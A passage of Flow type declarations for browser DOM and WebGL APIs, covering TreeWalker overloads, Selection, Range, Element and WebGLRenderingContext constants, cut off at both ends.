Comment>;\n  createTreeWalker<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 129,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Element | Comment>;\n  createTreeWalker<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 132,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Text | Comment>;\n  createTreeWalker<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 133,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Text | Element | Comment>;\n\n  // Catch all for when we don't know the value of `whatToShow`\n  // And for when whatToShow is not provided, it is assumed to be SHOW_ALL\n  createNodeIterator<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow?: number,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Node>;\n  createTreeWalker<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow?: number,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Node>;\n\n  // From NonElementParentNode Mixin.\n  getElementById(elementId: string): HTMLElement | null;\n\n  // From DocumentOrShadowRoot Mixin.\n  +styleSheets: StyleSheetList;\n  adoptedStyleSheets: Array<CSSStyleSheet>;\n}\n\ndeclare class DocumentFragment extends Node {\n  // from ParentNode interface\n  childElementCount: number;\n  children: HTMLCollection<HTMLElement>;\n  firstElementChild: ?Element;\n  lastElementChild: ?Element;\n  append(...nodes: Array<string | Node>): void;\n  prepend(...nodes: Array<string | Node>): void;\n\n  querySelector(selector: string): HTMLElement | null;\n  querySelectorAll(selector: string): NodeList<HTMLElement>;\n\n  // From NonElementParentNode Mixin.\n  getElementById(elementId: string): HTMLElement | null;\n}\n\ndeclare class Selection {\n  anchorNode: Node | null;\n  anchorOffset: number;\n  focusNode: Node | null;\n  focusOffset: number;\n  isCollapsed: boolean;\n  rangeCount: number;\n  type: string;\n  addRange(range: Range): void;\n  getRangeAt(index: number): Range;\n  removeRange(range: Range): void;\n  removeAllRanges(): void;\n  collapse(parentNode: Node | null, offset?: number): void;\n  collapseToStart(): void;\n  collapseToEnd(): void;\n  containsNode(aNode: Node, aPartlyContained?: boolean): boolean;\n  deleteFromDocument(): void;\n  extend(parentNode: Node, offset?: number): void;\n  empty(): void;\n  selectAllChildren(parentNode: Node): void;\n  setPosition(aNode: Node | null, offset?: number): void;\n  setBaseAndExtent(\n    anchorNode: Node,\n    anchorOffset: number,\n    focusNode: Node,\n    focusOffset: number\n  ): void;\n  toString(): string;\n}\n\ndeclare class Range {\n  // extension\n  startOffset: number;\n  collapsed: boolean;\n  endOffset: number;\n  startContainer: Node;\n  endContainer: Node;\n  commonAncestorContainer: Node;\n  setStart(refNode: Node, offset: number): void;\n  setEndBefore(refNode: Node): void;\n  setStartBefore(refNode: Node): void;\n  selectNode(refNode: Node): void;\n  detach(): void;\n  getBoundingClientRect(): DOMRect;\n  toString(): string;\n  compareBoundaryPoints(how: number, sourceRange: Range): number;\n  insertNode(newNode: Node): void;\n  collapse(toStart: boolean): void;\n  selectNodeContents(refNode: Node): void;\n  cloneContents(): DocumentFragment;\n  setEnd(refNode: Node, offset: number): void;\n  cloneRange(): Range;\n  getClientRects(): DOMRectList;\n  surroundContents(newParent: Node): void;\n  deleteContents(): void;\n  setStartAfter(refNode: Node): void;\n  extractContents(): DocumentFragment;\n  setEndAfter(refNode: Node): void;\n  createContextualFragment(fragment: string | TrustedHTML): DocumentFragment;\n  intersectsNode(refNode: Node): boolean;\n  isPointInRange(refNode: Node, offset: number): boolean;\n  static END_TO_END: number;\n  static START_TO_START: number;\n  static START_TO_END: number;\n  static END_TO_START: number;\n}\n\ndeclare var document: Document;\n\ndeclare class DOMTokenList {\n  @@iterator(): Iterator<string>;\n  length: number;\n  item(index: number): string;\n  contains(token: string): boolean;\n  add(...token: Array<string>): void;\n  remove(...token: Array<string>): void;\n  toggle(token: string, force?: boolean): boolean;\n  replace(oldToken: string, newToken: string): boolean;\n\n  forEach(\n    callbackfn: (value: string, index: number, list: DOMTokenList) => any,\n    thisArg?: any\n  ): void;\n  entries(): Iterator<[number, string]>;\n  keys(): Iterator<number>;\n  values(): Iterator<string>;\n  [index: number]: string;\n}\n\ndeclare class Element extends Node mixins mixin$Animatable {\n  assignedSlot: ?HTMLSlotElement;\n  attachShadow(shadowRootInitDict: ShadowRootInit): ShadowRoot;\n  attributes: NamedNodeMap;\n  classList: DOMTokenList;\n  className: string;\n  clientHeight: number;\n  clientLeft: number;\n  clientTop: number;\n  clientWidth: number;\n  id: string;\n  // flowlint unsafe-getters-setters:off\n  get innerHTML(): string;\n  set innerHTML(value: string | TrustedHTML): void;\n  // flowlint unsafe-getters-setters:error\n  localName: string;\n  namespaceURI: ?string;\n  nextElementSibling: ?Element;\n  // flowlint unsafe-getters-setters:off\n  get outerHTML(): string;\n  set outerHTML(value: string | TrustedHTML): void;\n  // flowlint unsafe-getters-setters:error\n  prefix: string | null;\n  previousElementSibling: ?Element;\n  scrollHeight: number;\n  scrollLeft: number;\n  scrollTop: number;\n  scrollWidth: number;\n  +tagName: string;\n\n  // TODO: a lot more ARIA properties\n  ariaHidden: void | 'true' | 'false';\n\n  closest(selectors: string): ?Element;\n\n  getAttribute(name?: string): ?string;\n  getAttributeNames(): Array<string>;\n  getAttributeNS(namespaceURI: string | null, localName: string): string | null;\n  getAttributeNode(name: string): Attr | null;\n  getAttributeNodeNS(\n    namespaceURI: string | null,\n    localName: string\n  ): Attr | null;\n  getBoundingClientRect(): DOMRect;\n  getClientRects(): DOMRectList;\n  getElementsByClassName(names: string): HTMLCollection<HTMLElement>;\n  getElementsByTagName<TName: $Keys<HTMLElementTagNameMap>>(\n    qualifiedName: TName\n  ): HTMLCollection<HTMLElementTagNameMap[TName]>;\n  getElementsByTagNameNS<TName: $Keys<HTMLElementTagNameMap>>(\n    namespaceURI: 'http://www.w3.org/1999/xhtml',\n    qualifiedName: TName\n  ): HTMLCollection<HTMLElementTagNameMap[TName]>;\n  getElementsByTagNameNS(\n    namespaceURI: string | null,\n    qualifiedName: string\n  ): HTMLCollection<Element>;\n\n  hasAttribute(name: string): boolean;\n  hasAttributeNS(namespaceURI: string | null, localName: string): boolean;\n  hasAttributes(): boolean;\n  hasPointerCapture(pointerId: number): boolean;\n  insertAdjacentElement(\n    position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend',\n    element: Element\n  ): void;\n  insertAdjacentHTML(\n    position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend',\n    html: string | TrustedHTML\n  ): void;\n  insertAdjacentText(\n    position: 'beforebegin' | 'afterbegin' | 'beforeend' | 'afterend',\n    text: string\n  ): void;\n  matches(selector: string): boolean;\n  releasePointerCapture(pointerId: number): void;\n  removeAttribute(name?: string): void;\n  removeAttributeNode(attributeNode: Attr): Attr;\n  removeAttributeNS(namespaceURI: string | null, localName: string): void;\n  requestFullscreen(options?: {\n    navigationUI: 'auto' | 'show' | 'hide',\n    ...\n  }): Promise<void>;\n  requestPointerLock(): void;\n  scrollIntoView(\n    arg?:\n      | boolean\n      | {\n          behavior?: 'auto' | 'instant' | 'smooth',\n          block?: 'start' | 'center' | 'end' | 'nearest',\n          inline?: 'start' | 'center' | 'end' | 'nearest',\n          ...\n        }\n  ): void;\n  scroll(x: number, y: number): void;\n  scroll(options: ScrollToOptions): void;\n  scrollTo(x: number, y: number): void;\n  scrollTo(options: ScrollToOptions): void;\n  scrollBy(x: number, y: number): void;\n  scrollBy(options: ScrollToOptions): void;\n  setAttribute(name?: string, value?: string): void;\n  toggleAttribute(name?: string, force?: boolean): void;\n  setAttributeNS(\n    namespaceURI: string | null,\n    qualifiedName: string,\n    value: string\n  ): void;\n  setAttributeNode(newAttr: Attr): Attr | null;\n  setAttributeNodeNS(newAttr: Attr): Attr | null;\n  setPointerCapture(pointerId: number): void;\n  shadowRoot?: ShadowRoot;\n  slot?: string;\n\n  // from ParentNode interface\n  childElementCount: number;\n  children: HTMLCollection<HTMLElement>;\n  firstElementChild: ?Element;\n  lastElementChild: ?Element;\n  append(...nodes: Array<string | Node>): void;\n  prepend(...nodes: Array<string | Node>): void;\n\n  querySelector<TSelector: $Keys<HTMLElementTagNameMap>>(\n    selector: TSelector\n  ): HTMLElementTagNameMap[TSelector] | null;\n  querySelectorAll<TSelector: $Keys<HTMLElementTagNameMap>>(\n    selector: TSelector\n  ): NodeList<HTMLElementTagNameMap[TSelector]>;\n\n  // from ChildNode interface\n  after(...nodes: Array<string | Node>): void;\n  before(...nodes: Array<string | Node>): void;\n  replaceWith(...nodes: Array<string | Node>): void;\n  remove(): void;\n}\n\ndeclare class HitRegionOptions {\n  path?: Path2D;\n  fillRule?: CanvasFillRule;\n  id?: string;\n  parentID?: string;\n  cursor?: string;\n  control?: Element;\n  label: ?string;\n  role: ?string;\n}\n\ndeclare class SVGMatrix {\n  getComponent(index: number): number;\n  mMultiply(secondMatrix: SVGMatrix): SVGMatrix;\n  inverse(): SVGMatrix;\n  mTranslate(x: number, y: number): SVGMatrix;\n  mScale(scaleFactor: number): SVGMatrix;\n  mRotate(angle: number): SVGMatrix;\n}\n\n// WebGL idl: https://www.khronos.org/registry/webgl/specs/latest/1.0/webgl.idl\n\ntype WebGLContextAttributes = {\n  alpha: boolean,\n  depth: boolean,\n  stencil: boolean,\n  antialias: boolean,\n  premultipliedAlpha: boolean,\n  preserveDrawingBuffer: boolean,\n  preferLowPowerToHighPerformance: boolean,\n  failIfMajorPerformanceCaveat: boolean,\n  ...\n};\n\ninterface WebGLObject {}\n\ninterface WebGLBuffer extends WebGLObject {}\n\ninterface WebGLFramebuffer extends WebGLObject {}\n\ninterface WebGLProgram extends WebGLObject {}\n\ninterface WebGLRenderbuffer extends WebGLObject {}\n\ninterface WebGLShader extends WebGLObject {}\n\ninterface WebGLTexture extends WebGLObject {}\n\ninterface WebGLUniformLocation {}\n\ninterface WebGLActiveInfo {\n  size: number;\n  type: number;\n  name: string;\n}\n\ninterface WebGLShaderPrecisionFormat {\n  rangeMin: number;\n  rangeMax: number;\n  precision: number;\n}\n\ntype BufferDataSource = ArrayBuffer | $ArrayBufferView;\n\ntype TexImageSource =\n  | ImageBitmap\n  | ImageData\n  | HTMLImageElement\n  | HTMLCanvasElement\n  | HTMLVideoElement;\n\ntype VertexAttribFVSource = Float32Array | Array<number>;\n\n/* flow */\ndeclare class WebGLRenderingContext {\n  static DEPTH_BUFFER_BIT: 0x00000100;\n  DEPTH_BUFFER_BIT: 0x00000100;\n  static STENCIL_BUFFER_BIT: 0x00000400;\n  STENCIL_BUFFER_BIT: 0x00000400;\n  static COLOR_BUFFER_BIT: 0x00004000;\n  COLOR_BUFFER_BIT: 0x00004000;\n  static POINTS: 0x0000;\n  POINTS: 0x0000;\n  static LINES: 0x0001;\n  LINES: 0x0001;\n  static LINE_LOOP: 0x0002;\n  LINE_LOOP: 0x0002;\n  static LINE_STRIP: 0x0003;\n  LINE_STRIP: 0x0003;\n  static TRIANGLES: 0x0004;\n  TRIANGLES: 0x0004;\n  static TRIANGLE_STRIP: 0x0005;\n  TRIANGLE_STRIP: 0x0005;\n  static TRIANGLE_FAN: 0x0006;\n  TRIANGLE_FAN: 0x0006;\n  static ZERO: 0;\n  ZERO: 0;\n  static ONE: 1;\n  ONE: 1;\n  static SRC_COLOR: 0x0300;\n  SRC_COLOR: 0x0300;\n  static ONE_MINUS_SRC_COLOR: 0x0301;\n  ONE_MINUS_SRC_COLOR: 0x0301;\n  static SRC_ALPHA: 0x0302;\n  SRC_ALPHA: 0x0302;\n  static ONE_MINUS_SRC_ALPHA: 0x0303;\n  ONE_MINUS_SRC_ALPHA: 0x0303;\n  static DST_ALPHA: 0x0304;\n  DST_ALPHA: 0x0304;\n  static ONE_MINUS_DST_ALPHA: 0x0305;\n  ONE_MINUS_DST_ALPHA: 0x0305;\n  static DST_COLOR: 0x0306;\n  DST_COLOR: 0x0306;\n  static ONE_MINUS_DST_COLOR: 0x0307;\n  ONE_MINUS_DST_COLOR: 0x0307;\n  static SRC_ALPHA_SATURATE: 0x0308;\n  SRC_ALPHA_SATURATE: 0x0308;\n  static FUNC_ADD: 0x8006;\n  FUNC_ADD: 0x8006;\n  static BLEND_EQUATION: 0x8009;\n  BLEND_EQUATION: 0x8009;\n  static BLEND_EQUATION_RGB: 0x8009;\n  BLEND_EQUATION_RGB: 0x8009;\n  static BLEND_EQUATION_ALPHA: 0x883d;\n  BLEND_EQUATION_ALPHA: 0x883d;\n  static FUNC_SUBTRACT: 0x800a;\n  FUNC_SUBTRACT: 0x800a;\n  static FUNC_REVERSE_SUBTRACT: 0x800b;\n  FUNC_REVERSE_SUBTRACT: 0x800b;\n  static BLEND_DST_RGB: 0x80c8;\n  BLEND_DST_RGB: 0x80c8;\n  static BLEND_SRC_RGB: 0x80c9;\n  BLEND_SRC_RGB: 0x80c9;\n  static BLEND_DST_ALPHA: 0x80ca;\n  BLEND_DST_ALPHA: 0x80ca;\n  static BLEND_SRC_ALPHA: 0x80cb;\n  BLEND_SRC_ALPHA: 0x80cb;\n  static CONSTANT_COLOR: 0x8001;\n  CONSTANT_COLOR: 0x8001;\n  static ONE_MINUS_CONSTANT_COLOR: 0x8002;\n  ONE_MINUS_CONSTANT_COLOR: 0x8002;\n  static CONSTANT_ALPHA: 0x8003;\n  CONSTANT_ALPHA: 0x8003;\n  static ONE_MINUS_CONSTANT_ALPHA: 0x8004;\n  ONE_MINUS_CONSTANT_ALPHA: 0x8004;\n  static BLEND_COLOR: 0x8005;\n  BLEND_COLOR: 0x8005;\n  static ARRAY_BUFFER: 0x8892;\n  ARRAY_BUFFER: 0x8892;\n  static ELEMENT_ARRAY_BUFFER: 0x8893;\n  ELEMENT_ARRAY_BUFFER: 0x8893;\n  static ARRAY_BUFFER_BINDING: 0x8894;\n  ARRAY_BUFFER_BINDING: 0x8894;\n  static ELEMENT_ARRAY_BUFFER_BINDING: 0x8895;\n  ELEMENT_ARRAY_BUFFER_BINDING: 0x8895;\n  static STREAM_DRAW: 0x88e0;\n  STREAM_DRAW: 0x88e0;\n  static STATIC_DRAW: 0x88e4;\n  STATIC_DRAW: 0x88e4;\n  static DYNAMIC_DRAW: 0x88e8;\n  DYNAMIC_DRAW: 0x88e8;\n  static BUFFER_SIZE: 0x8764;\n  BUFFER_SIZE: 0x8764;\n  static BUFFER_USAGE: 0x8765;\n  BUFFER_USAGE: 0x8765;\n  static CURRENT_VERTEX_ATTRIB: 0x8626;\n  CURRENT_VERTEX_ATTRIB: 0x8626;\n  static FRONT: 0x0404;\n  FRONT: 0x0404;\n  static BACK: 0x0405;\n  BACK: 0x0405;\n  static FRONT_AND_BACK: 0x0408;\n  FRONT_AND_BACK: 0x0408;\n  static CULL_FACE: 0x0b44;\n  CULL_FACE: 0x0b44;\n  static BLEND: 0x0be2;\n  BLEND: 0x0be2;\n  static DITHER: 0x0bd0;\n  DITHER: 0x0bd0;\n  static STENCIL_TEST: 0x0b90;\n  STENCIL_TEST: 0x0b90;\n  static DEPTH_TEST: 0x0b71;\n  DEPTH_TEST: 0x0b71;\n  static SCISSOR_TEST: 0x0c11;\n  SCISSOR_TEST: 0x0c11;\n  static POLYGON_OFFSET_FILL: 0x8037;\n  POLYGON_OFFSET_FILL: 0x8037;\n  static SAMPLE_ALPHA_TO_COVERAGE: 0x809e;\n  SAMPLE_ALPHA_TO_COVERAGE: 0x809e;\n  static SAMPLE_COVERAGE: 0x80a0;\n  SAMPLE_COVERAGE: 0x80a0;\n  static NO_ERROR: 0;\n  NO_ERROR: 0;\n  static INVALID_ENUM: 0x0500;\n  INVALID_ENUM: 0x0500;\n  static INVALID_VALUE: 0x0501;\n  INVALID_VALUE: 0x0501;\n  static INVALID_OPERATION: 0x0502;\n  INVALID_OPERATION: 0x0502;\n  static OUT_OF_MEMORY: 0x0505;\n  OUT_OF_MEMORY: 0x0505;\n  static CW: 0x0900;\n  CW: 0x0900;\n  static CCW: 0x0901;\n  CCW: 0x0901;\n  static LINE_WIDTH: 0x0b21;\n  LINE_WIDTH: 0x0b21;\n  static ALIASED_POINT_SIZE_RANGE: 0x846d;\n  ALIASED_POINT_SIZE_RANGE: 0x846d;\n  static ALIASED_LINE_WIDTH_RANGE: 0x846e;\n  ALIASED_LINE_WIDTH_RANGE: 0x846e;\n  static CULL_FACE_MODE: 0x0b45;\n  CULL_FACE_MODE: 0x0b45;\n  static FRONT_FACE: 0x0b46;\n  FRONT_FACE: 0x0b46;\n  static DEPTH_RANGE: 0x0b70;\n  DEPTH_RANGE: 0x0b70;\n  static DEPTH_WRITEMASK: 0x0b72;\n  DEPTH_WRITEMASK: 0x0b72;\n  static DEPTH_CLEAR_VALUE: 0x0b73;\n  DEPTH_CLEAR_VALUE: 0x0b73;\n  static DEPTH_FUNC: 0x0b74;\n  DEPTH_FUNC: 0x0b74;\n  static STENCIL_CLEAR_VALUE: 0x0b91;\n  STENCIL_CLEAR_VALUE: 0x0b91;\n  static STENCIL_FUNC: 0x0b92;\n  STENCIL_FUNC: 0x0b92;\n  static STENCIL_FAIL: 0x0b94;\n  STENCIL_FAIL: 0x0b94;\n  static STENCIL_PASS_DEPTH_FAIL: 0x0b95;\n  STENCIL_PASS_DEPTH_FAIL: 0x0b95;\n  static STENCIL_PASS_DEPTH_PASS: 0x0b96;\n  STENCIL_PASS_DEPTH_PASS: 0x0b96;\n  static STENCIL_REF: 0x0b97;\n  STENCIL_REF: 0x0b97;\n  static STENCIL_VALUE_MASK: 0x0b93;\n  STENCIL_VALUE_MASK: 0x0b93;\n  static STENCIL_WRITEMASK: 0x0b98;\n  STENCIL_WRITEMASK: 0x0b98;\n  static STENCIL_BACK_FUNC: 0x8800;\n  STENCIL_BACK_FUNC: 0x8800;\n  static STENCIL_BACK_FAIL: 0x8801;\n  STENCIL_BACK_FAIL: 0x8801;\n  static STENCIL_BACK_PASS_DEPTH_FAIL: 0x8802;\n  STENCIL_BACK_PASS_DEPTH_FAIL: 0x8802;\n  static STENCIL_BACK_PASS_DEPTH_PASS: 0x8803;\n  STENCIL_BACK_PASS_DEPTH_PASS: 0x8803;\n  static STENCIL_BACK_REF: 0x8ca3;\n  STENCIL_BACK_REF: 0x8ca3;\n  static STENCIL_BACK_VALUE_MASK: 0x8ca4;\n  STENCIL_BACK_VALUE_MASK: 0x8ca4;\n  static STENCIL_BACK_WRITEMASK: 0x8ca5;\n  STENCIL_BACK_WRITEMASK: 0x8ca5;\n  static VIEWPORT: 0x0ba2;\n  VIEWPORT: 0x0ba2;\n  static SCISSOR_BOX: 0x0c10;\n  SCISSOR_BOX: 0x0c10;\n  static COLOR_CLEAR_VALUE: 0x0c22;\n  COLOR_CLEAR_VALUE: 0x0c22;\n  static COLOR_WRITEMASK: 0x0c23;\n  COLOR_WRITEMASK: 0x0c23;\n  static UNPACK_ALIGNMENT: 0x0cf5;\n  UNPACK_ALIGNMENT: 0x0cf5;\n  static PACK_ALIGNMENT: 0x0d05;\n  PACK_ALIGNMENT: 0x0d05;\n  static MAX_TEXTURE_SIZE: 0x0d33;\n  MAX_TEXTURE_SIZE: 0x0d33;\n  static MAX_VIEWPORT_DIMS: 0x0d3a;\n  MAX_VIEWPORT_DIMS: 0x0d3a;\n  static SUBPIXEL_BITS: 0x0d50;\n  SUBPIXEL_BITS: 0x0d50;\n  static RED_BITS: 0x0d52;\n  RED_BITS: 0x0d52;\n  static GREEN_BITS: 0x0d53;\n  GREEN_BITS: 0x0d53;\n  static BLUE_BITS: 0x0d54;\n  BLUE_BITS: 0x0d54;\n  static ALPHA_BITS: 0x0d55;\n  ALPHA_BITS: 0x0d55;\n  static DEPTH_BITS: 0x0d56;\n  DEPTH_BITS: 0x0d56;\n  static STENCIL_BITS: 0x0d57;\n  STENCIL_BITS: 0x0d57;\n  static POLYGON_OFFSET_UNITS: 0x2a00;\n  POLYGON_OFFSET_UNITS: 0x2a00;\n  static POLYGON_OFFSET_FACTOR: 0x8038;\n  POLYGON_OFFSET_FACTOR: 0x8038;\n  static TEXTURE_BINDING_2D: 0x8069;\n  TEXTURE_BINDING_2D: 0x8069;\n  static SAMPLE_BUFFERS: 0x80a8;\n  SAMPLE_BUFFERS: 0x80a8;\n  static SAMPLES: 0x80a9;\n  SAMPLES: 0x80a9;\n  static SAMPLE_COVERAGE_VALUE: 0x80aa;\n  SAMPLE_COVERAGE_VALUE: 0x80aa;\n  static SAMPLE_COVERAGE_INVERT: 0x80ab;\n  SAMPLE_COVERAGE_INVERT: 0x80ab;\n  static COMPRESSED_TEXTURE_FORMATS: 0x86a3;\n  COMPRESSED_TEXTURE_FORMATS: 0x86a3;\n  static DONT_CARE: 0x1100;\n  DONT_CARE: 0x1100;\n  static FASTEST: 0x1101;\n  FASTEST: 0x1101;\n  static NICEST: 0x1102;\n  NICEST: 0x1102;\n  static GENERATE_MIPMAP_HINT: 0x8192;\n  GENERATE_MIPMAP_HINT: 0x8192;\n  static BYTE: 0x1400;\n  BYTE: 0x1400;\n  static UNSIGNED_BYTE: 0x1401;\n  UNSIGNED_BYTE: 0x1401;\n  static SHORT: 0x1402;\n  SHORT: 0x1402;\n  static UNSIGNED_SHORT: 0x1403;\n  UNSIGNED_SHORT: 0x1403;\n  static INT: 0x1404;\n  INT: 0x1404;\n  static UNSIGNED_INT: 0x1405;\n  UNSIGNED_INT: 0x1405;\n  static FLOAT: 0x1406;\n  FLOAT: 0x1406;\n  static DEPTH_COMPONENT: 0x1902;\n  DEPTH_COMPONENT: 0x1902;\n  static ALPHA: 0x1906;\n  ALPHA: 0x1906;\n  static RGB: 0x1907;\n  RGB: 0x1907;\n  static RGBA: 0x1908;\n  RGBA: 0x1908;\n  static LUMINANCE: 0x1909;\n  LUMINANCE: 0x1909;\n  static LUMINANCE_ALPHA: 0x190a;\n  LUMINANCE_ALPHA: 0x190a;\n  static UNSIGNED_SHORT_4_4_4_4: 0x8033;\n  UNSIGNED_SHORT_4_4_4_4: 0x8033;\n  static UNSIGNED_SHORT_5_5_5_1: 0x8034;\n  UNSIGNED_SHORT_5_5_5_1: 0x8034;\n  static UNSIGNED_SHORT_5_6_5: 0x8363;\n  UNSIGNED_SHORT_5_6_5: 0x8363;\n  static FRAGMENT_SHADER: 0x8b30;\n  FRAGMENT_SHADER: 0x8b30;\n  static VERTEX_SHADER: 0x8b31;\n  VERTEX_SHADER: 0x8b31;\n  static MAX_VERTEX_ATTRIBS: 0x8869;\n  MAX_VERTEX_ATTRIBS: 0x8869;\n  static MAX_VERTEX_UNIFORM_VECTORS: 0x8dfb;\n  MAX_VERTEX_UNIFORM_VECTORS: 0x8dfb;\n  static MAX_VARYING_VECTORS: 0x8dfc;\n  MAX_VARYING_VECTORS: 0x8dfc;\n  static MAX_COMBINED_TEXTURE_IMAGE_UNITS: 0x8b4d;\n  MAX_COMBINED_TEXTURE_IMAGE_UNITS: 0x8b4d;\n  static MAX_VERTEX_TEXTURE_IMAGE_UNITS: 0x8b4c;\n  MAX_VERTEX_TEXTURE_IMAGE_UNITS: 0x8b4c;\n  static MAX_TEXTURE_IMAGE_UNITS: 0x8872;\n  MAX_TEXTURE_IMAGE_UNITS: 0x8872;\n  static MAX_FRAGMENT_UNIFORM_VECTORS: 0x8dfd;\n  MAX_FRAGMENT_UNIFORM_VECTORS: 0x8dfd;\n  static SHADER_TYPE: 0x8b4f;\n  SHADER_TYPE: 0x8b4f;\n  static DELETE_STATUS: 0x8b80;\n  DELETE_STATUS: 0x8b80;\n  static LINK_STATUS: 0x8b82;\n  LINK_STATUS: 0x8b82;\n  static VALIDATE_STATUS: 0x8b83;\n  VALIDATE_STATUS: 0x8b83;\n  static ATTACHED_SHADERS: 0x8b85;\n  ATTACHED_SHADERS: 0x8b85;\n  static ACTIVE_UNIFORMS: 0x8b86;\n  ACTIVE_UNIFORMS: 0x8b86;\n  static ACTIVE_ATTRIBUTES: 0x8b89;\n  ACTIVE_ATTRIBUTES: 0x8b89;\n  static SHADING_LANGUAGE_VERSION: 0x8b8c;\n  SHADING_LANGUAGE_VERSION: 0x8b8c;\n  static CURRENT_PROGRAM: 0x8b8d;\n  CURRENT_PROGRAM: 0x8b8d;\n  static NEVER: 0x0200;\n  NEVER: 0x0200;\n  static LESS: 0x0201;\n  LESS: 0x0201;\n  static EQUAL: 0x0202;\n  EQUAL: 0x0202;\n  static LEQUAL: 0x0203;\n  LEQUAL: 0x0203;\n  static GREATER: 0x0204;\n  GREATER: 0x0204;\n  static NOTEQUAL: 0x0205;\n  NOTEQUAL: 0x0205;\n  static GEQUAL: 0x0206;\n  GEQUAL: 0x0206;\n  static ALWAYS: 0x0207;\n  ALWAYS: 0x0207;\n  static KEEP: 0x1e00;\n  KEEP: 0x1e00;\n  static REPLACE: 0x1e01;\n  REPLACE: 0x1e01;\n  static INCR: 0x1e02;\n  INCR: 0x1e02;\n  static DECR: 0x1e03;\n  DECR: 0x1e03;\n  static INVERT: 0x150a;\n  INVERT: 0x150a;\n  static INCR_WRAP: 0x8507;\n  INCR_WRAP: 0x8507;\n  static DECR_WRAP: 0x8508;\n  DECR_WRAP: 0x8508;\n  static VENDOR: 0x1f00;\n  VENDOR: 0x1f00;\n  static RENDERER: 0x1f01;\n  RENDERER: 0x1f01;\n  static VERSION: 0x1f02;\n  VERSION: 0x1f02;\n  static NEAREST: 0x2600;\n  NEAREST: 0x2600;\n  static LINEAR: 0x2601;\n  LINEAR: 0x2601;\n  static NEAREST_MIPMAP_NEAREST: 0x2700;\n  NEAREST_MIPMAP_NEAREST: 0x2700;\n  static LINEAR_MIPMAP_NEAREST: 0x2701;\n  LINEAR_MIPMAP_NEAREST: 0x2701;\n  static NEAREST_MIPMAP_LINEAR: 0x2702;\n  NEAREST_MIPMAP_LINEAR: 0x2702;\n  static LINEAR_MIPMAP_LINEAR: 0x2703;\n  LINEAR_MIPMAP_LINEAR: 0x2703;\n  static TEXTURE_MAG_FILTER: 0x2800;\n  TEXTURE_MAG_FILTER: 0x2800;\n  static TEXTURE_MIN_FILTER: 0x2801;\n  TEXTURE_MIN_FILTER: 0x2801;\n  static TEXTURE_WRAP_S: 0x2802;\n  TEXTURE_WRAP_S: 0x2802;\n  static TEXTURE_WRAP_T: 0x2803;\n  TEXTURE_WRAP_T: 0x2803;\n  static TEXTURE_2D: 0x0de1;\n  TEXTURE_2D: 0x0de1;\n  static TEXTURE: 0x1702;\n  TEXTURE: 0x1702;\n  static TEXTURE_CUBE_MAP: 0x8513;\n  TEXTURE_CUBE_MAP: 0x8513;\n  static TEXTURE_BINDING_CUBE_MAP: 0x8514;\n  TEXTURE_BINDING_CUBE_MAP: 0x8514;\n  static TEXTURE_CUBE_MAP_POSITIVE_X: 0x8515;\n  TEXTURE_CUBE_MAP_POSITIVE_X: 0x8515;\n  static TEXTURE_CUBE_MAP_NEGATIVE_X: 0x8516;\n  TEXTURE_CUBE_MAP_NEGATIVE_X: 0x8516;\n  static TEXTURE_CUBE_MAP_POSITIVE_Y: 0x8517;\n  TEXTURE_CUBE_MAP_POSITIVE_Y: 0x8517;\n  static TEXTURE_CUBE_MAP_NEGATIVE_Y: 0x8518;\n  TEXTURE_CUBE_MAP_NEGATIVE_Y: 0x8518;\n  static TEXTURE_CUBE_MAP_POSITIVE_Z: 0x8519;\n  TEXTURE_CUBE_MAP_POSITIVE_Z: 0x8519;\n  static TEXTURE_CUBE_MAP_NEGATIVE_Z: 0x851a;\n  TEXTURE_CUBE_MAP_NEGATIVE_Z: 0x851a;\n  static MAX_CUBE_MAP_TEXTURE_SIZE: 0x851c;\n  MAX_CUBE_MAP_TEXTURE_SIZE: 0x851c;\n  static TEXTURE0: 0x84c0;\n  TEXTURE0: 0x84c0;\n  static TEXTURE1: 0x84c1;\n  TEXTURE1: 0x84c1;\n  static TEXTURE2: 0x84c2;\n  TEXTURE2: 0x84c2;\n  static TEXTURE3: 0x84c3;\n  TEXTURE3: 0x84c3;\n  static TEXTURE4: 0x84c4;\n  TEXTURE4: 0x84c4;\n  static TEXTURE5: 0x84c5;\n  TEXTURE5: 0x84c5;\n  static TEXTURE6: 0x84c6;\n  TEXTURE6: 0x84c6;\n  static TEXTURE7: 0x84c7;\n  TEXTURE7: 0x84c7;\n  static TEXTURE8: 0x84c8;\n  TEXTURE8: 0x84c8;\n  static TEXTURE9: 0x84c9;\n  TEXTURE9: 0x84c9;\n  static TEXTURE10: 0x84ca;\n  TEXTURE10: 0x84ca;\n  static TEXTURE11: 0x84cb;\n  TEXTURE11: 0x84cb;\n  static TEXTURE12: 0x84cc;\n  TEXTURE12: 0x84cc;\n  static TEXTURE13: 0x84cd;\n  TEXTURE13: 0x84cd;\n  static TEXTURE14: 0x84ce;\n  TEXTURE14: 0x84ce;\n  static TEXTURE15: 0x84cf;\n  TEXTURE15: 0x84cf;\n  static TEXTURE16: 0x84d0;\n  TEXTURE16: 0x84d0;\n  static TEXTURE17: 0x84d1;\n  TEXTURE17: 0x84d1;\n  static TEXTURE18: 0x84d2;\n  TEXTURE18: 0x84d2;\n  static TEXTURE19: 0x84d3;\n  TEXTURE19: 0x84d3;\n  static TEXTURE20: 0x84d4;\n  TEXTURE20: 0x84d4;\n  static TEXTURE21: 0x84d5;\n  TEXTURE21: 0x84d5;\n  static TEXTURE22: 0x84d6;\n  TEXTURE22: 0x84d6;\n  static TEXTURE23: 0x84d7;\n  TEXTURE23: 0x84d7;\n  static TEXTURE24: 0x84d8;\n  TEXTURE24: 0x84d8;\n  static TEXTURE25: 0x84d9;\n  TEXTURE25: 0x84d9;\n  static TEXTURE26: 0x84da;\n  TEXTURE26: 